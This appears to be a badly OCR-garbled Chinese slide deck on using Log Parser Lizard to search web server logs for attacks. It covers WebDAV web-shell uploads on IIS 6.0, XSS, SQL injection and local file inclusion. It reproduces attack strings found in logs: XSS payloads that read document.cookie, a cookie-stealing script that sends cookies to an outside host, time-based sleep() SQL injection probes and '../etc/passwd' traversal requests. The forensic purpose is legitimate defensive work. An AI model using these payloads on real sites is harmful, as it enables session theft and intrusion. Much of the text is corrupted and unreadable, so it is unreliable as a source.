Input oords processd: 1,597, Outyut ecords: 1,596 Time: 00.00.05

P
@ Copymight (C) 2006-2013 Lizard Labs %l :#‘l

2=l 0| @ | @

bt

@ | [




7 1T (P 4

J Alclassesin AD

4 Lasttime of login on & computer
3 Last time password changed fors
4 Locked vsers

4 Memersof a grovp

Query View Export Help
@ OutputFormat ~ L] y
- E . B [~ | R
= | .4 Output Format Properties :
Run Inputlog InputFormat | . Save Save Save Copy Command List of
Query Format~ Properties | LE§ OutputFile Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools
Active Directory « 4l Queries x4 Query* X |

L
ot

VA

¥

<

m

Log Filename |Log Row | Remote Host Name |Remote Log Name | User Name eauast | Status Cnde }Bytes Sent -
1 D:\#5EH1EE\201304_muzikonile s 1,860 175.180.79.18 Show al 200 718
AFTRE(RE)_NBE_8\8 8" Filter by a specific date:
\log\access_log-20130303 &
2013228 »
2 D:\HEM1EE\201304_muzikonies 1,859 123.86.233.12 2013/2/23 F& 07:58:5 200 4,3€
ATRE(RE)_NE_E\SREH
\log\access_log-20130303
!
[>] v [Date Time] >= '2013/2/23 £& 12:00:00' And [Date Time] < '2013/2/24 t& 12:00:00'[ ~ | Earlier Edit Fnterj -
4 . [x] »
[Query* =
Edit View Findand Replace Insert
SELECT * -
FROM 'D: E1fEFE\201304 muzikonile§ B RES N\ log\access_10g-20130303' -- fEEREE

m

Input records processed: 0, Output records: 0, Time: UEI:_UEI:U 1

NCSA

& Copyright (C) 2006-2013 Lizard Labs
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>

Al%|
€| @ [P
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HTTP/1.1

[>] v [Date Time] >= '2013/2/23 £& 12:00:00' And [Date Time] < '2013/2/24 t& 12:00:00'| ~ |

[| GET /?_escaped_fragment_

¥

4
Q Event Logs [Query®
Edit View Findand Replace Insert
Q File System SELECT *
Q 1IS Logs FROM 'D: E1fEFE\201304 muzikonile§ &SR EEN\ 1o

<

m

GET /?_escaped_fragment_=
GET /?_escaped_fragment_=

GET /?_escaped_fragment,

OK Cancel

Query View Export Help
@ OutputFormat ~ L] y
e = . v - b |
> | L4 Output Format Properties i
Run Inputlog InputFormat | . Save Save Save Copy Command List of
Query Format~ Properties | LE§ OutputFile Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools
Active Directory « #All Queries  x/'d Query* x |
J Alclassesin AD Q)
4 Lasttime of login on & computer Log Row ‘Remote Host Name |Remote Log Name |User Name | Date Time v 7 |Request Ak Il<f‘ ﬂ“a \Byvies.Sent..Referer .
i ~ g : A
3 Last time password changed fors+ 1 1,860 175.180.79.18 2013/2/23 T4 07:58:53; GET /js/tipsy.js?=time() HT Frjs I_e/ HT'?P/I o
4 Locked vsers GET / HTTP/1.1
3 Memersofa grovp GET /?_escaped_fragment_=
GET /?_escaped_fragment_=
GET /?_escaped_fragment_=
. GET /?_escaped_fragment,
2 1,859 123.86.233.12 2013/2/23 F4& 07:58:53 GET /js/iquery.ui.core.min.js d fi

-~
= k//www.muzik-online.com/

://www.muzik-online.com/

u

Edit Fiter| +
' —

(W=

m

Input records processed: 0, Output records: 0, Time: UEI:_UEI:U 1

& Copyright (C) 2006-2013 Lizard Labs
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Log % 71 & 4f

ﬁl\zoué'ﬁ\!”ﬂ T ZLf‘E IJ
7ol ogts 3t
a;‘z‘\}-—-l-‘ ?E’L‘;‘FT&"E"'LOQ %Eﬁb%&
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‘ \E\

E’g 7]‘SQI—\Z\? (=

SELECT 4§ =
FROM &
WHERE % 2
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‘ \E\

Log Parser Lizardp= & R 48

o ¢ * |og Parser Lizard » 7% g 5 _3E B~
IIS log &« NCSA# ;\ mlog ERAE
£ 448 A ¢ 0
« F] % IIS logH_1/ GMTB%FEF%.ﬁ
« NCAS#: 3" e3log
log parser lizard ¢ -8-| F=
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B Eakp B3 B +8:00 or -8:00em
= 7] 234w % (*INCSA log)

4
view>set formula field>z73 # i~

» Log Parser Lizard Export Help
] i [&] Conditional column format @ ‘-]
R
== e . v [N
5 | ZE\) Set Eormu a zxe d I B
Display ‘ ' Mors Geid Op 1 Open Display Chart
| Grid || E= ore Gri ptions x Di il P R TV | :
Grid New formula column M
Active Di rectory « Please enter column name -
4 Allclassesin AD I
4 Lasttime of login on & computer |Remote Log Name |User Name |Date Time vl }Request | Status Code }Bytes Sent -
(4 Last time password changed for-- 2013/2/23 T4 07:58:53 GET fjs/tipsy.js?=time() HTTP/1.1 200 7,165
4 Locked vsers
3 B
4 Memersof a group
2 ‘D:\F_—iﬁiﬁ?ﬁx\zo1304_mu2|konile‘g' 1,859 123.86.233.12 2013/2/23 T4 07:58:53 GET /js/jquery.ui.core.min.js 200 4,3€
ATRE(RE)_NE_E\SREH HTTP/1.1
\log\access_log-20130303
<| | [Date Ti ='2013/2/23 12:00:00' And [Date Ti '2013/2/24 12:00:00' ~ | ]
Q Active Directory |>¢| v [Date Time] > /2/23 E& nd [Date Time] < /2/24 b5 Edit Fitter | «
1 Il »
Q Event Logs [Queny* 1WER
Edit View Findand Replace Insert
Q Foziein SELECT = 5
Q IIS Logs FROM 'D: 3 ) i B ) BB 1 = L
Q Other samples —!
Q RegEx/log4net < | m »
2 Inpunecoxdsqrpcesgdzﬂ.' Qu}'nt_\t recqx@;: U, Tune UU:_UEI:Ulv ( NCS4
AN
OONE 0012 T ineed T oL, ﬁl"‘#l I s liavd labs vet
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J Alclassesin AD

4 Lasttime of login on a computer
3 Last time password changed fors
4 Locked vsers

4 Memersof a grovp

Function>addhours(,)

Home Query View Export Help
1 \ [&] Conditional column format Y ‘-]
Q, ™
o foo Setformula field et
Display ||~ : : Open Display Chart
Grid || &1 More Grid Options ~ PivotGrid | Chart Wizard
Grid - -
2 7 {B Expression editor
Active Directory « J All Queries

I  AddHours(, )

‘ Log Filename
1 D:\HEMEE)
AT EE(AT
\log\access_|

2 D:\BEHEEY
azgE(RY)

\log\access._|f|| | Functions

| Operators
| Fields
| Constants

x| v| [Date Time]qJ
4

Queny*

Q Other samples

Q RegEx/log4net

¥

-

Edit View Fin

SELECT *

FROI

s =2 > ® @ ©
|~ AddHours(DateTime, HoursCount)
Returns a date-time value that is
“ | | the specified number of hours away
= |from the specified DateTime.

AddMiliSeconds(, )

AddMinutes(, )

AddMonths(, )

AddSeconds(, )

AddTicks(, )

AddTimeSpan(, ) v

<« i »

OK Cancel

o

< |

m

quest Status Code |Bytes Sent 4«
/is/tipsy.js?=time() HTTP/1.1 200 7.1€
IET /js/iquery.ui.core.min.js 200 4,3€
TTP/1.1
Edit Filter| «
= — —ld
(WER

Input records processed: El, Quml._\t recoxﬂs: 0, T:.me UU:DEI:UI

& Copyright (C) 2006-2012 Lizaxd Labs
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Addhours(## i, F

|
Log Parser Lizard JEEEETES Query View Export Help ]
1 ] [&] Conditional column format . iR
- =z @ W
S foo Setformula field D
Display ||~ : : Open Display Chart
Grid || &2 More Grid Options ~ PivotGrid | Chart Wizard
Grid _ =
2 7 {B Expression editor
Active Directory « J All Queries -
4 Allclsssesin AD I AddHours([Date Time],8
4 Lasttime of login on a computer |Log Filename quest Status Code |Bytes Sent 4«
Last time password changed for= || 1 D:\iBEEE o [is/tipsy.js?=time() HTTP/1.1 200 7.1¢
a ATRE( 8/\kf
J Locked vsers \log\access |
4 Memersof a grovp
2 D:\BEEEY) i X ( ) * SSE ® ®© © IET /is/iquery.ui.core.min.js 200 4,3€
azgE(dl ; : : P/1.1
\Iog\ife(sl? ’, | Functions [Bytes Sent] Field Information w
|| | Operators Cookie Caption: Date Time
[ Date Time The type of this field is:
1| | Constants Log Filename] System.DateTime .
[Log Row]
......... = . q [Referer] - : i
Q Active Directory Bimivatiinz [Remote Host Name] Edit Fiter| +
4 - [Remote Log Name] - - .
l—— [Request]
Q Event Logs T [Status Code] I i
Edit View Fini [User Name]
Q File System SEIECT W [User-Agent] 2
Q 1IS Logs FROI = g
oK Cancel "
Q Other samples g —
Q RegEx/log4net 7 m »
2 || Input recoxdsnmcessed:tl, Quml._\t recoxﬂs: 0, _'l'_i.me:UD:DEl:Ul NCSA

2| '

€ @ %

& Copyright (C) 2006-2012 Lizaxd Labs
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> 24 r / ,:l:
1 f,é o ) =

g O]
Home Query View Export Help
[T | [&] Conditional column format | - @d ‘-‘
Dis;lay fo Setformula field Gpén Display C‘h)a:t . §
Grid || & More Grid Options ~ ‘ Pivot Grid Chart  Wizard E@H%Faﬁ %E% Flﬁﬁ
Grid Chart
Active Directory « Al Queries ./ ( Query* x |
4 Allclassesin AD
4 Lasttime of login on a computer Name | Date Time ~ 7| FATESA] _Request | Status Code |Bytes Sent |Referer
(§ Last time password changed for+ || 1 2013/2/23 T4 07:58:53; IGET /js/tipsy. ]s’ tlme() HTTP/1 1 200 7, 185 http://www.| muzik-online. com/
4 Locked vsers
@ Memerscta gow D013/2/24 £ 03:58:53
2 2013/2/23 T4 07:58:53 GET /js/iquery.ui.core.min.js 200 4,365 http://www.muzk-online.com/
HTTP/1.1
013/2/24 £& 03:58:53

'Mozila/4.0 (compatible; MSIE

12.0.50727; .NET4.0C; .NET*

User-Agent -

Windows NT 6.1; Win64; x6
Trident/5.0; .NET CLR 2.0.5
SLCC2; .NET CLR 3.5.30729
CLR 3.0.30729; .NET4.0C;
.NET4.0E; MDDR; Media Cen
6.0; Tablet PC 2.0)

Mozilla/4.0 (compatible; MSIE
Windows NT 6.1; Trident/4.
EmbeddedwB 14.52 from:
http://www.bsalsa.com/
EmbeddedWB 14.52; .NET |

< m

¥

’ N— [>] v [Date Time] >= '2013/2/23 k4 12:00:00' And [Date Time] < '2013/2/24 k& 12:00:00'(~| Edit Fiter| +
4 il »
Q Event Logs [Query® 53
Edit View Findand Replace Insert
Q e SELECT = 5
Q 1IS Logs FROM 'D:\HEJEFE\201304_muzikonil BRES N\ log\access_10g-20130303' -- fEEEREE ‘

m

Inpunecoxdsvroce&eed El Oumut reconds U T:me 00: UEI 01

& Copyright (C) 2006-2013 Lizard Labs
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Jerb ¥ L+ 2 8 X5

o by i E # - & (Web shell)
o xhif4E » XSSrrHF - % (XSS)
o Mk TORLEE sTH - % (SQL injection)

o kil P &7 A%t - % (local file
Inclusion)

@
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Web shell

« ¥ Lwebshell} &+ 5 :
o JI* AALMNEPRFTVEF R BAL
z4e:server2003=-\WebDAV PR 72
o % ek b BIRGEEF Y BAR
4o B 5o~ X B PRFx 0 fekeditor
SiE R R o

N
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19 B = 2 »
aF A
Xue Xue COLORS

it &

BREE | TEE

BHRNE 89 (1R
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xuexuecolors.com/inc . ~RBc S £1F —-= & = Owned By AnOnK@p =

Cracked and Hackecr

We Hack, we Deface, W& Are ANONDRVARO

are anor




SERVER 2003£:11s 6.0 /& i

« WebDAV ( Web-Based Distributed Authoring and
Versioning) ¥ - A7 & igd a1 838 TR & T
T AR > VB Web HERFEFTET B
fjﬁlf%\’itzkﬁﬁj Itk kB o

* 7 i p windows2003 £ 1is6.0 » WebDAV AL & &
kb B LRI S AR Y par LY o MR
ehE R 3 & L it k2T shUnicode tokeniE
A2 RF %lr'%CO'fr%afr'ﬁ]_G%’!i TR 0 R g
Z_p 4k (c:\\) ¥ B~1F 4p % & "L (administrator) i -
i dOS%f%a‘g Kfpdlbarsry 8 0 M E FIRTH
;} LT~ P Jx/f 7}& P\ g o
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@

WebDAV » & 3 ;¢

Hd pfpe o FaTAIPARRE L A
BF GEBGTH ~ Berr)end iT o H A B o 4G
IR - Rl

1.4 2 i * |ISPRA%cha 4 » T ¥ 53 B EcWebDAV e
o

g2 AR () A B A7 5N (webshell) -
3.4]* HTTP«MOVE ~ PUT% = ;% » + #ASP ~ PHP
Bk B ARt o
4.3 cciesb G PRT AL FIRAE (ﬂ:’u B ARG o
L 2 &IlISt~ i ¢ %ﬁ-)?”’f‘? ENZ B
i@ .asp;.txt ~ .txt ~ .phpE 7 A+ 5 %j_ °
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B ¥ 5 o 4% % (ASP;.txt)

date time c-IP s-port  |cs-method cs-uri-stem sc-status

2013/8/31(+F = 04:49:52 180.251.135.5 80[GET /boww.asp;.txt 404
2013/9/4[™ = 07:00:10 118.100.143.8 80|GET [tiadanama.asp;.txt 401
2013/9/4|™ = 07:01:03 118.100.143.8 80[GET /Hmei7.asp;.txt 401
2013/9/5+ = 02:21:05 121.54.91.5 80|HEAD /madspotshell.asp;.txt 404
2013/9/5+ = 02:21:08 121.54.91.5 80|PUT /madspotshell.asp;.txt 201
2013/9/5(+ = 02:21:36 121.54.91.5 80|GET /madspotshell.asp;.txt 404
2013/9/5+ = 02:21:50 121.54.91.5 80|HEAD /home.asp;.txt 404
2013/9/5|+ = 02:21:53 121.54.91.5 80|PUT /home.asp;.txt 201
2013/9/5|+ = 02:21:59 121.54.91.5 80|GET /home.asp;.txt 401
2013/9/5| + = 02:22:04 121.54.91.5 80[GET /home.asp;.txt 401
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log parser lizard#; %8 & &
(web shell)

P& £ BHTTPPUT S 2 fo*txt(+ 5)

Al Queries X (§ Query* X =
| date time c-ip cs-username  |s-sitename  |s-computername  |s-ip s-port |cs-method |cs-uri-stem |cs-uri-query |scstatus |sc-substatus |sc-wi 4
1 2013/8/31 L& 04:49:52 180.251.135.5 W3SVC1 203.69.2.197 80 GET /boww.asp;.txt 404 2
i 32013/9/4 T4 07:00:10 118.100.143.8 W3SVC1 203.69.2.197 80 GET /tiadanama.asp;.txt 401 5
3 | 2013/9/4 F4& 07:01:03 118.100.143.8 W3sVC1 203.69.2.197 80 GET /Hmei7.asp;.txt 401 5
4 :2013/9/5 4 02:21:05 121.54.91.5 W3sVC1 203.69.2.197 80 HEAD /madspotshell.asp;.txt 404
5 ‘2013/9/5 E& 02:21:08 121.54.91.5 W3sVC1 203.69.2.197 80 PUT /madspotshell.asp;.txt 201
- _|2n12/0/5 ki n2:21:26 121 5401 5 \AI26M/C1 202 AQ 2 107 20 GET Imadenatchall acn: vt ana 2
v
| 4 »
[Query* 7R
Edit View Find and Replace
SELECT * FROM 'D:\HE log’ A
WHERE cs-uri-stem LIEE |2
< L g »
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o =b e A s
Cross-Site Scripting » XSS
-?fﬁ{%iﬁ§ﬂ@W%E&%§

Exhtmlivzg - 5% = FHTER =
p?; : ﬁ';» H ¢ Web%m sohtml 75 €
ﬁt*’}(‘ T ,“\rn Kiﬁljg\jﬁ oE)T& = m’% )7;;‘5

o (AL » FF 1S 0 BT AR
'ww 1 EARG~ XSSE R 3E2)
* FFHK:

X E R G g ¥ T XSSenE R

N =N i ‘ S -
/ {‘ \"L
b2k e eI 76




XSSz & 3TH &

eBayHIRIBIAINERIE - AP oaetRE @I AL

=@

eBay IXSSRABREECLAEREA LB E\?%‘E%‘ET“‘ ;gﬁﬁ S AEEFEES|FIBEZEeBayEA
EEMNEES - T EIERE  diER

X/ S | 2014-09-23 B B3 74| m@mAiThometa 8 EJERR (| 8+ 3
3 ,.’-'JI:'M( w el 280U setld= A <

File Edt View Favortes Tools Help

o Esems. Boas. Fiscor. FIF ¥ S Il 5mm. & H AAR) BElA 2'0 ¢ Clac.. @ HotU

eb VY Welco

Sign in
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demo-i 7\_;, S LIPS

javascriptzz ;% -

FREERTTYE LBAE PO0S L5 A A0
| EE =R | AR D EATsE |

2 hello world 3 ]

DT | OEREE

=

o @z : 6
T = ! _ ' Lol
e e <seript type="text/javascript's

= MSNHEE sl e B = A kL -

:Eﬁ )ﬁ‘.ﬁ:‘.‘..,. . (BEiresET) a lert( “He l lo : Wor ld! ") : / Eﬁm;\‘jﬁéﬁﬁ%m

| om: | o | (BemEEER) : /SCI’ ID t:”

] T ——

o s [ -

cmEEA: [ER [ (e

H@ANEs: [0 ]

< javascript”>
: dr"); // FRRRE AT
o B .
scriptzk
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demo- A 4 helloil &
= 75 1]

FE 4 Hyjavascript




i ALXSSEEE 0 T ik BEXSSIE 2 45 R

. ><script>a1er‘t(doc-ument.c-ookie)</scr‘ip;> XSS*EEE%}‘% N m’u&ﬁ@aﬁ?

e ="><scriptralert(document.cookie)</script>

e "><scriptralert(document.cookie)</script>

e <script>alert(document.cookie)</script>

e <script>alert(vulnerable)</script>

e %3Cscript#%3Ealert('XSS')#3C/script¥#3E

e <scriptralert('XSS')</script>

e <img src="javascript:alert('XSS')">

e <img src="http://xxx.com/yyy.png" onerror="alert('XSS"')">

e <div style="height:expression(alert('XsS'),1)" /> (EEERE IE &%)
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log## XSSrz # sz 4%

13 & & BEIXSS3EE 2 (script ~ document ~ cookie...)

fcategory.php?countéearem=1 14 &arem 1 =25108&type=1"'0E& H=script >prompt(955716)</scri

{category.php?count&arem=114 &arem1=2510'0& % <script >prompt(965199)</script=&etype=1"
{category.php?countéearerp=114'08&%<script >prompt(973595)<fscript>&arem 1 =25108&type=1"

{category.php?count' ()&% =
{choose.php?choose_sn=202'()&%<script >prompt(902062)</script:"

t)“

fspecial_column.php?special_column_classify_sn=39&special_column_sn=56'()& % <script >prompt(985462) </script=>"

fspecial_column.php?special_column_classify_sn=39'0& % <script >prompt (964471 )</scripts
fspecial_column.php?special_column_classify _sn=39'00&% <script >prompt(999015)</scripts

fapecial_column.php?special_column_classify_sn=29'0& % <script =prompt(010607)</script

fbrand_info.php?brand_sn=9'0&%<script >prompt(909933)«/script="
fproduct.php?pid_for show=3711'0&%<script >prompt(930076)«/script="

&special_column_sn=6H6"
&special_column_sn=91"
&special_column_sn=90"

&
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SEH) SEE %20 RAV) MAH

(fonction{){
(nev Ixage()

).src:lhngi {, "index. php?do=ap e id=Ab6) jh%]ocation="+escape(
(function(){

try| g —y :
return document. location. href e K i bk Wi 74 : il document.location. href

catch(e) Ytk - =] DU 93 SOH i

{retara )|

!

)+'&toplocation="+escape(
(fonction()
{try
(

)
catch(e)
NI HJ'%‘;‘SC”% ) document.cookie %3 3% 38
. et (broswer) Jil L7 I El il 4¢

358 I < ) L SR P16 0 A 99 try 7 |@mutay@sk Cookie Tk} -
BwEE—EEm retern docunent.cookie}

catch(e){return ''}))
(function()( , B of 9 3 0 (i 38)

return top. location. href =———3 | i Jh J& & £F] B Bk 68

()4 &opener="+escape(
tryl

;gtuin (Yindov.opener & vindow.opener. location.href)?vindov.opener. location.href:'" Jcatch(e)(return "' 1))()); N(0):
('1'=1){
keep=nev lmage(): :
keep.sre={http:/, \dex. php?do=keepsession id=Ab6J jh&ur I="+escape(docunent. location )+ &cook ie='+escape(docunent.cookie) );

I Ul xssallfyjavascript 3 ¥ 3 % 28 @Y cookiefly i




FOFE RS 5T
SQL Injection

-{ﬁ_ﬂﬁlx\éﬁ??iﬁ‘ SQL,E&’
9 e mﬁ;\a‘? v Z, N
PRPEEE b i3 ahdp 4 R g AR TR
B IR B ;:ai-; L QL#;%;* L
AT T FIROE -

&4k ¢ 7 12 1SQL injectiond 8T

A2
LR 4 B § o 2 L % SOL injectione:



R
’\.)
m
:za
H
A
\7\\4«
™

Z2HEFETEFTEFIEMuzik OnlineBzEARE

Muzik OnlineESE2REEREAR « BEEBRIERBLISQL Imec‘uonIﬁ’i ' EE‘—Q%, = EH
EEACRAZERYE  NEERELBHERBRBERS  EALKRGEESRERFESEER

| 2013-05-07 2% GE 74| &=mmAiThomesE GEIEES{ 1] 84 2

Muzik Online I €= HBEFEESET AT EEAEBANIZHESER - &
BENER  NBRHRE  BifALRENRESAZENE  REAF15E

e
28

mll
Iu

2B EMuzik OnlineBRZEAZ » ZEFBERILFEETSQL Injection L E » Bk
EEER s EAEFERRIEEEE  £E2Muzik OnlinelV EBEREETHIE
AT

>__f
=
ol
gl
i
al
&
;
4
i}
s
>
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|097}"&‘38QL|njectlonrz§ e b

& & 2.:9%20-- ~ -- ~ select

fcategory.php?count and sleep(4) &arem=114&arem1=2510&type=1

fsearch_result.php?&ckey word =35#5 A B2 &keyword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1;select pg_sleep(d); -- &se¢
fcategory. php%ount +{select 1 from (select sleep(4))a)+&arem= =114 8&arem1=25108&type=1

fsearch_result.php?8ckey word =35#5 A Bt &keyword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1"+(select 1 from (select sle|
fcategory.php?count=sleep(d)="&arem=114 &arem1=25108&type=1"

fsearch_result.php?éckey word =35#5 A B2 &keyword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1=sleep(4)="&search_by_s|
fcategory.php?count'=sleep(d)="&arem=114 &arem1=25108&type=1

fsearch_result.php?dckey word =35#5 A Bt &kevword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1'=sleep(4)='&search_by_s|
fcategory.phpfcount or (sleep(d)+1) limit 1 -- Bearem=114&arem1=2510&type=1"

fcategory.phpicount’ or (sleep(d)+1) limit 1 --|&arem=114&arem1=2510&type=1

fsearch_result.php?éckey word =35#5 A Bt &kevword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1 or (sleep(d)+1) limit 1 -- 4
fcategory.php?count and sleep(d)="&arem=114&arem1=25108type=1"

/search_result.php?&keyword =358 A BRi# 3 &keyword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1" or (sleep(d)+1) limit 1 --
fsearch_result.php?&keyword=;58 A B8 E &key word_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1 and sleep(4)="&search_b
Icategory.php?counLand_(slegn@_)ﬂ_)_hmﬂ_l_&arem 114 &arem1=25108&type=1

fcategory.php?count’ and sleep(4)="&arem=114&arem1=25108type=1

fsearch_result.php?&ckey word =35#5 A Bt &kevword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1"and (sleep(d)+1) limit 1 -

fsearch_result.php?8ckey word =35#5 A B2 4keyword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1' and sleep(4)='&search_b
fsearch_result.php?8ckey word =35#5 A B2 &keyword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1 or (sleep(d)+1) limit 1 -- 4
fsearch_result.php?8ckey word =35#5 A B2 &kevword_product_brand=10&search_by_product_money_end=1&search_by_product_money_start=1 and sleep(4) &search_by|
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& & 2./~ passwd -~ etc

400185/ categorvy.php?&tvpe=..
400185/ categorvy.phpftvpe=../..
fA00185/categorv.php?&tvpe=..
fA00185/categorv.phpftvpe=../..
400185/ categorvy.php?&tvpe=..
400185/ categorvy.phpftvpe=_./..
400185/ categorvy.php?&tvpe=..
fA400185/categorv.php?tvpe=../..

Lo tetefpasswd
fetc/passwd
. letc/passwd
Letc/passwd
Loletefpasswd
letc/passwd
Lo letefpasswd
JJetc/passwd

product.php?&pid_for _show=.. Lo tetefpasswd
/product.php?pid_for_show=../.. JJetc/passwd
product.php?&pid_for show=.. Lo fetefpasswd
product.php?pid_for_show=_./.. Letc/passwd
product.php?&pid_for show=.. Lo tetefpasswd
product.php?pid_for _show=_./.. Letc/passwd
product.php?&pid_for_show=.. L letc/passwd
product.php?pid_for _show=_./.. fetc/passwd
product.php?&pid_for_show=.. Lotetefpasswd
product.php?pid_for show=_./.. fetc/passwd
fproduct.php?&pid_for_show=.. Lo tetefpasswd
product.php?pid_for_show=_./.. Letci/passwd
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v
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e B VIPS IR 3

FAF - A4 (2 ik AK)
RO Query | View

v = # OutputFormat ~ H 9 v‘ ! ‘?

4 Output Format Properties

B f2 R ¥ 1Pz PR

Export Help

Run InputLog InputFormat > Save Save Save Copy Command List of
Query Format~ Properties [ OutputFile Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools

» M All Queries X, ﬁuerv‘ x |
| Remote Host Name | COUNT(ALL Remote Host Name) |~

1 §223.141.108.68 13 =
B 2 |36.:239.238.205 46 ﬁﬁﬂﬂ |p'dji:ﬁ(:i"ﬁ
g |3 [1asr232240 01
e |157.55.39.20 13
¢ 5 ns3.novelink.com.tw 12
Hille 36.231.244.1 2
<7 |107.178.200.205 11
v
(Queny* b

Edit View Findand Replace Insert

100 * FROM 'K:\shopl23_ server_ log\ap2\httpd_access_log\*'
E% %/

'$Scrip

m

log\ap2\httpd access_log\access_log.2014-08-29 06&'

GROUP BY [RemoteHostName]

Q SELECT [RemoteHostName], count (RemoteHostName) FROM 'K:\shopl23_serwv

Q‘ < m »

% || Input records processed: 10,074, Output records: 1,606, Time: 00:00:01 NCSA | X

e lizard-labs net
I I I I | =1 i’ I R ————— |

ELECT [RemoteHostName], count(RemoteHostName) FROM B&&
ROUP BY [RemoteHostName] 90
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